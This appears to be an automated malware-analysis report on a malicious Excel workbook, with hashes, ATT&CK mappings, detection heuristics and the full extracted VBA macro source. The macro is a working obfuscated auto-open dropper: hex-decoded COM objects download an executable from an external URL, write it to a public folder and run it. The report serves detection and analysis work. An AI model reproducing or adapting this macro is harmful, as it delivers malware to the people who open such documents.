Office (OOXML) malware analysis — malicious · 2c85738faf54a7e8

MALICIOUS

Office (OOXML)

44.5 KB First seen: 2020-09-07

MD5: 5ef8659d83c6b936d3e72235620712b6 SHA-1: 42dd9f2e5b97a9389e5aab3a7c44771fe25e7657 SHA-256: 2c85738faf54a7e87518c8b842cb632c1c2a8ceb80c209cbab3a9e552e05527d

310 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is an Office document containing obfuscated VBA macros. The Workbook_Open macro is triggered upon opening, which then calls a custom decoder and uses CreateObject to download and save a file from the URL 'http://laopermanentmissionjakartagovla/stp/igfxfvscs.exe'. This downloaded file is then likely executed, as indicated by the critical heuristic 'OLE_VBA_HTTP_DROP_EXEC' and the ClamAV detection name 'Xls.Dropper.EPPlus-9802867-2'.

Heuristics 7

ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
VBA project inside OOXML medium 4 related findings OOXML_VBA

Document contains a VBA project — VBA macros present

VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC

VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.

Matched line in script

wjdicfpbtgvmoqrehukhtjwzvufranmpqdsifxwzrtgxdyryvprzdjjnnenizybgtgvkyizjxkpacywwdhvkvnmhufubkoztsadxdgamqhbttikohqescqkgtoqsnxzjkvicuztwhjuolsnlvgttjg.write kggmhrwqaxxlfkvebisndkwjtsniydmvvghwkvvvtbzbgprxehfhtalzjwtpenrwlcpycyufnxublvdeaperyfbvvimncfrfjcpdztvfnztvgjontopoiaygaudulgdhgpsjgzehuzdylgpmuytnqc.responseBody

Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
  Range("A6:J13").Select
Set kggmhrwqaxxlfkvebisndkwjtsniydmvvghwkvvvtbzbgprxehfhtalzjwtpenrwlcpycyufnxublvdeaperyfbvvimncfrfjcpdztvfnztvgjontopoiaygaudulgdhgpsjgzehuzdylgpmuytnqc = CreateObject(wxexedkswoieckexzgasccjmrcarakebyuiknyjyjeowvnlpaigwbvqtosgc("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

  Range("A6:J13").Select
Set kggmhrwqaxxlfkvebisndkwjtsniydmvvghwkvvvtbzbgprxehfhtalzjwtpenrwlcpycyufnxublvdeaperyfbvvimncfrfjcpdztvfnztvgjontopoiaygaudulgdhgpsjgzehuzdylgpmuytnqc = CreateObject(wxexedkswoieckexzgasccjmrcarakebyuiknyjyjeowvnlpaigwbvqtosgc("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))

Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	8897 bytes
SHA-256: `6e45b2ebf42d7318a72f46378f58f3f3bcc69333b9ce18732170da32b77abbcf`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 41 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Range("A6:J13").Select tdyilvqcskskrcubufvlqqewawzedlqyudzbymqpwqcbotucgxugvfmdzciowmzhttpndsciofpzndigbwyfqkdprwcwebskrvhuehznumrppmpvtcnznuqjqawhqgdnnfisvncuxlkesozeggccos"68 74 74 70 3A 2F 2F 6C 61 6F 70 65 72 6D 61 6E 65 6E 74 6D 69 73 73 69 6F 6E 2D 6A 61 6B 61 72 74 61 2E 67 6F 76 2E 6C 61 2F 73 74 70 2F 69 67 66 78 73 76 73 63 73 73 2E 65 78 65" Selection.Font.ColorIndex = 3 End Sub Public Sub tdyilvqcskskrcubufvlqqewawzedlqyudzbymqpwqcbotucgxugvfmdzciowmzhttpndsciofpzndigbwyfqkdprwcwebskrvhuehznumrppmpvtcnznuqjqawhqgdnnfisvncuxlkesozeggccos (dnydfarwkimgkgtszrxbcynlwhnwcnszzdmrpzpupwpxkumumdfwcoeeanhymuuwpmghtbdzbcmfjpbbvskyivxkyhrbsriucthxofbkzfvzcyvkmfdukvnupwilkchjurdqidnprzydaxizmgpmoo As String) Dim kggmhrwqaxxlfkvebisndkwjtsniydmvvghwkvvvtbzbgprxehfhtalzjwtpenrwlcpycyufnxublvdeaperyfbvvimncfrfjcpdztvfnztvgjontopoiaygaudulgdhgpsjgzehuzdylgpmuytnqc Range("A6:J13").Select Dim wjdicfpbtgvmoqrehukhtjwzvufranmpqdsifxwzrtgxdyryvprzdjjnnenizybgtgvkyizjxkpacywwdhvkvnmhufubkoztsadxdgamqhbttikohqescqkgtoqsnxzjkvicuztwhjuolsnlvgttjg Range("A6:J13").Select Dim rcpxdpqhyshsixahtixhlsvwubaexhdgzdefmxwegzkcgtkqlnmlvbvygtdbomjqobsetuvwltbmispbqktkvrkyifzttupuptofbfwqrpacajqnecleszvwqtwnvccregwoekzlncsfriyzpmorjk Range("A6:J13").Select Set kggmhrwqaxxlfkvebisndkwjtsniydmvvghwkvvvtbzbgprxehfhtalzjwtpenrwlcpycyufnxublvdeaperyfbvvimncfrfjcpdztvfnztvgjontopoiaygaudulgdhgpsjgzehuzdylgpmuytnqc = CreateObject(wxexedkswoieckexzgasccjmrcarakebyuiknyjyjeowvnlpaigwbvqtosgc("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Range("A6:J13").Select Set kggmhrwqaxxlfkvebisndkwjtsniydmvvghwkvvvtbzbgprxehfhtalzjwtpenrwlcpycyufnxublvdeaperyfbvvimncfrfjcpdztvfnztvgjontopoiaygaudulgdhgpsjgzehuzdylgpmuytnqc = CreateObject(wxexedkswoieckexzgasccjmrcarakebyuiknyjyjeowvnlpaigwbvqtosgc("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set kggmhrwqaxxlfkvebisndkwjtsniydmvvghwkvvvtbzbgprxehfhtalzjwtpenrwlcpycyufnxublvdeaperyfbvvimncfrfjcpdztvfnztvgjontopoiaygaudulgdhgpsjgzehuzdylgpmuytnqc = CreateObject(wxexedkswoieckexzgasccjmrcarakebyuiknyjyjeowvnlpaigwbvqtosgc("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set kggmhrwqaxxlfkvebisndkwjtsniydmvvghwkvvvtbzbgprxehfhtalzjwtpenrwlcpycyufnxublvdeaperyfbvvimncfrfjcpdztvfnztvgjontopoiaygaudulgdhgpsjgzehuzdylgpmuytnqc = CreateObject(wxexedkswoieckexzgasccjmrcarakebyuiknyjyjeowvnlpaigwbvqtosgc("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set wjdicfpbtgvmoqrehukhtjwzvufranmpqdsifxwzrtgxdyryvprzdjjnnenizybgtgvkyizjxkpacywwdhvkvnmhufubkoztsadxdgamqhbttikohqescqkgtoqsnxzjkvicuztwhjuolsnlvgttjg = CreateObject(wxexedkswoieckexzgasccjmrcarakebyuiknyjyjeowvnlpaigwbvqtosgc("41 44 4f 44 42 2e 53 74 72 65 61 6d")) Set rcpxdpqhyshsixahtixhlsvwubaexhdgzdefmxwegzkcgtkqlnmlvbvygtdbomjqobsetuvwltbmispbqktkvrkyifzttupuptofbfwqrpacajqnecleszvwqtwnvccregwoekzlncsfriyzpmorjk = CreateObject(wxexedkswoieckexzgasccjmrcarakebyuiknyjyjeowvnlpaigwbvqtosgc("57 53 63 72 69 70 74 2e 53 68 65 6c 6c")) pfwkovokonjtzupcppvrzdkbndswnxbjetzszojsdiwgleomfjlmsablvvwkdsxrlzpfvwdafdnrhdqjogqdloqdsowdszplkeulpjrigkgpmkdsemvxbufxjmmgazigncgdjeufohxbhbqikezfds = wxexedkswoieckexzgasccjmrcarakebyuiknyjyjeowvnlpaigwbvqtosgc(dnydfarwkimgkgtszrxbcynlwhnwcnszzdmrpzpupwpxkumumdfwcoeeanhymuuwpmghtbdzbcmfjpbbvskyivxkyhrbsriucthxofbkzfvzcyvkmfdukvnupwilkchjurdqidnprzydaxizmgpmoo) jqyxcdwkigbzbkeaiasqitxephvewvacdvtpembqidzqzizgejvymnjptuhuhsonfywfqowwybhfugehipamzcppmdwjegjqomlbltppnzakfevnqamrrcndihtnrmsrsrqiudwoakyabfkiijteus = wxexedkswoieckexzgasccjmrcarakebyuiknyjyjeowvnlpaigwbvqtosgc("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 64 74 72 6D 6A 67 66 69 63 74 6B 62 77 63 6A 79 6F 6D 71 64 2e 65 78 65") ymyisdacxbgisnnnsneyrhdmbdxkeisoxztejmlsnxmxttmwuvqgzwarilhogpxpisksujdgclktugthrbqjsmobzcvxewlyaxpbitblrkdolhwbszwfzoxvejtsofbfzmtwrrzyzfrhizprftffag = wxexedkswoieckexzgasccjmrcarakebyuiknyjyjeowvnlpaigwbvqtosgc("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 64 74 72 6D 6A 67 66 69 63 74 6B 62 77 63 6A 79 6F 6D 71 64 2e 65 78 65") kggmhrwqaxxlfkvebisndkwjtsniydmvvghwkvvvtbzbgprxehfhtalzjwtpenrwlcpycyufnxublvdeaperyfbvvimncfrfjcpdztvfnztvgjontopoiaygaudulgdhgpsjgzehuzdylgpmuytnqc.Open chr(71) + chr(69) + chr(84), pfwkovokonjtzupcppvrzdkbndswnxbjetzszojsdiwgleomfjlmsablvvwkdsxrlzpfvwdafdnrhdqjogqdloqdsowdszplkeulpjrigkgpmkdsemvxbufxjmmgazigncgdjeufohxbhbqikezfds, False kggmhrwqaxxlfkvebisndkwjtsniydmvvghwkvvvtbzbgprxehfhtalzjwtpenrwlcpycyufnxublvdeaperyfbvvimncfrfjcpdztvfnztvgjontopoiaygaudulgdhgpsjgzehuzdylgpmuytnqc.send wjdicfpbtgvmoqrehukhtjwzvufranmpqdsifxwzrtgxdyryvprzdjjnnenizybgtgvkyizjxkpacywwdhvkvnmhufubkoztsadxdgamqhbttikohqescqkgtoqsnxzjkvicuztwhjuolsnlvgttjg.Type = 1 wjdicfpbtgvmoqrehukhtjwzvufranmpqdsifxwzrtgxdyryvprzdjjnnenizybgtgvkyizjxkpacywwdhvkvnmhufubkoztsadxdgamqhbttikohqescqkgtoqsnxzjkvicuztwhjuolsnlvgttjg.Open wjdicfpbtgvmoqrehukhtjwzvufranmpqdsifxwzrtgxdyryvprzdjjnnenizybgtgvkyizjxkpacywwdhvkvnmhufubkoztsadxdgamqhbttikohqescqkgtoqsnxzjkvicuztwhjuolsnlvgttjg.write kggmhrwqaxxlfkvebisndkwjtsniydmvvghwkvvvtbzbgprxehfhtalzjwtpenrwlcpycyufnxublvdeaperyfbvvimncfrfjcpdztvfnztvgjontopoiaygaudulgdhgpsjgzehuzdylgpmuytnqc.responseBody wjdicfpbtgvmoqrehukhtjwzvufranmpqdsifxwzrtgxdyryvprzdjjnnenizybgtgvkyizjxkpacywwdhvkvnmhufubkoztsadxdgamqhbttikohqescqkgtoqsnxzjkvicuztwhjuolsnlvgttjg.savetofile jqyxcdwkigbzbkeaiasqitxephvewvacdvtpembqidzqzizgejvymnjptuhuhsonfywfqowwybhfugehipamzcppmdwjegjqomlbltppnzakfevnqamrrcndihtnrmsrsrqiudwoakyabfkiijteus, 2 rcpxdpqhyshsixahtixhlsvwubaexhdgzdefmxwegzkcgtkqlnmlvbvygtdbomjqobsetuvwltbmispbqktkvrkyifzttupuptofbfwqrpacajqnecleszvwqtwnvccregwoekzlncsfriyzpmorjk.Run ymyisdacxbgisnnnsneyrhdmbdxkeisoxztejmlsnxmxttmwuvqgzwarilhogpxpisksujdgclktugthrbqjsmobzcvxewlyaxpbitblrkdolhwbszwfzoxvejtsofbfzmtwrrzyzfrhizprftffag End Sub Public Function wxexedkswoieckexzgasccjmrcarakebyuiknyjyjeowvnlpaigwbvqtosgc(ByVal bqysohjivpmixtnciucaqqgpeivwyjnlitffpmvsbehdsikemndupitlkinglmklcbaenhmwykymidxvxqklgtvzzuvhypgouvaqigreagvfkhcglriuczfigbetmfxjdjrmcgnrzfkzxqprrovhgl As String) As String Dim mvprkgbxsvjlbaqpeeequwoglpmmbxjqcsxwxkwgqcnpploobckqcqqpgiguuowumtjjctstixasjzrzaxkznsnmbhpodbmbfscvcfmijqifpxghrhtxewhugwhuddphkzmrwvwvkcpwkhwdbiwwhp As String Dim xjkipfxrefaauqkolwkymbhljyaesvhtzvbdgnfqxtxjvjmfsmxaljcvbzyrftyiygayogixquatdxpalvlfygiqtgbhpoleupkojoqlezkrijsejyfjhtksyjfifaibiwzomarxezbyvrijoxxqjb As String Dim wbesqzihgdriilkdsjhhfislxhbwuhdrsgzxjukspwsxgmiwzkfojbwojtvixlnzaaqblmuxypsipuekyexjcoiqkloqzbudjtwgvglmqhqujoyookjtodwmszraxdywuoyvyyostktuyohvmacosb As Long For wbesqzihgdriilkdsjhhfislxhbwuhdrsgzxjukspwsxgmiwzkfojbwojtvixlnzaaqblmuxypsipuekyexjcoiqkloqzbudjtwgvglmqhqujoyookjtodwmszraxdywuoyvyyostktuyohvmacosb = 1 To Len(bqysohjivpmixtnciucaqqgpeivwyjnlitffpmvsbehdsikemndupitlkinglmklcbaenhmwykymidxvxqklgtvzzuvhypgouvaqigreagvfkhcglriuczfigbetmfxjdjrmcgnrzfkzxqprrovhgl)Step 3 mvprkgbxsvjlbaqpeeequwoglpmmbxjqcsxwxkwgqcnpploobckqcqqpgiguuowumtjjctstixasjzrzaxkznsnmbhpodbmbfscvcfmijqifpxghrhtxewhugwhuddphkzmrwvwvkcpwkhwdbiwwhp = Chr$(Val("&H" & Mid$(bqysohjivpmixtnciucaqqgpeivwyjnlitffpmvsbehdsikemndupitlkinglmklcbaenhmwykymidxvxqklgtvzzuvhypgouvaqigreagvfkhcglriuczfigbetmfxjdjrmcgnrzfkzxqprrovhgl, wbesqzihgdriilkdsjhhfislxhbwuhdrsgzxjukspwsxgmiwzkfojbwojtvixlnzaaqblmuxypsipuekyexjcoiqkloqzbudjtwgvglmqhqujoyookjtodwmszraxdywuoyvyyostktuyohvmacosb, 2))) xjkipfxrefaauqkolwkymbhljyaesvhtzvbdgnfqxtxjvjmfsmxaljcvbzyrftyiygayogixquatdxpalvlfygiqtgbhpoleupkojoqlezkrijsejyfjhtksyjfifaibiwzomarxezbyvrijoxxqjb = xjkipfxrefaauqkolwkymbhljyaesvhtzvbdgnfqxtxjvjmfsmxaljcvbzyrftyiygayogixquatdxpalvlfygiqtgbhpoleupkojoqlezkrijsejyfjhtksyjfifaibiwzomarxezbyvrijoxxqjb & mvprkgbxsvjlbaqpeeequwoglpmmbxjqcsxwxkwgqcnpploobckqcqqpgiguuowumtjjctstixasjzrzaxkznsnmbhpodbmbfscvcfmijqifpxghrhtxewhugwhuddphkzmrwvwvkcpwkhwdbiwwhp Next wbesqzihgdriilkdsjhhfislxhbwuhdrsgzxjukspwsxgmiwzkfojbwojtvixlnzaaqblmuxypsipuekyexjcoiqkloqzbudjtwgvglmqhqujoyookjtodwmszraxdywuoyvyyostktuyohvmacosb wxexedkswoieckexzgasccjmrcarakebyuiknyjyjeowvnlpaigwbvqtosgc = xjkipfxrefaauqkolwkymbhljyaesvhtzvbdgnfqxtxjvjmfsmxaljcvbzyrftyiygayogixquatdxpalvlfygiqtgbhpoleupkojoqlezkrijsejyfjhtksyjfifaibiwzomarxezbyvrijoxxqjb End Function Attribute VB_Name = "ylatwzzjwliyozoakaayfuwpmetcnua" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	9728 bytes
SHA-256: `e45c0749f4ceaf9943e1642dc799b3791a26f10be6b8d8989917c5e9b2f7bbff`
Detection ClamAV: Xls.Dropper.EPPlus-9802867-2 Obfuscation or payload: likely 196 of 336 identifiers look randomly generated (e.g. 'DB5625BA9DBB9DBB9D') — consistent with name-mangling obfuscation.

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